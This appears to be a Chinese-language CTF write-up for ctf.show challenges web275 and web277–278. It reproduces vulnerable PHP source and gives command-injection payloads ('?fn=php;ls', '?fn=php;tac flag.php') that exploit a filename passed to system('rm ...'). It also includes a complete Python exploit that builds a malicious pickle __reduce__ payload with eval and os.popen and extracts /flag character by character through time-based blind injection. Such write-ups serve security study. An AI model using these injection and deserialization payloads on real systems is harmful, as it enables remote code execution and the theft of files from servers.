web275
这道题和序列化一点关系都没有
整个代码并没有说filename(f)
怎么传参只有fn
并且屏蔽了flag
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
echo 'work done';
}
}else{
echo 'where is flag?';
}
$content = file_get_contents('php://input')
$f = new filter($_GET['fn'],$content);
GET :
?fn=php;ls
?fn=php;tac flag.php
这里其实就可以理解为我传fn
为文件名,文件内容$content
就是输入流得到的内容就是;
后面的内容,但是作者这里用了两个fn
来混淆,filter的fn
是文件内容,但是外面的这个fn
是文件名
$this->filename=$f;
$this->filecontent=$fn;
web277–web278
python序列化,EXP
import requests
import time
import string
import pickle
import base64
result=""
str="_-{}"+string.ascii_letters+string.digits #大小写字母和数字
url="http://e8eaffdd-233c-4c5d-82d0-79a89a515df3.challenge.ctf.show/backdoor?data="
payload="__import__('os').popen('if [ `cat /flag|cut -c {0}` == {1} ];then sleep 3;fi').read()"
class Rce():
def __init__(self,payload):
self.code=payload
def __reduce__(self):
# print(self.code)
return (eval,(self.code,))
length=50 #length长度
key=0
for j in range(1,length):
if key==1:
break
for n in str:
rser = bytes.decode(base64.b64encode(pickle.dumps(Rce(payload.format(j,n)))))
target=url+rser
# print(target)
try:
requests.get(target,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
# if n=='9':
# key=1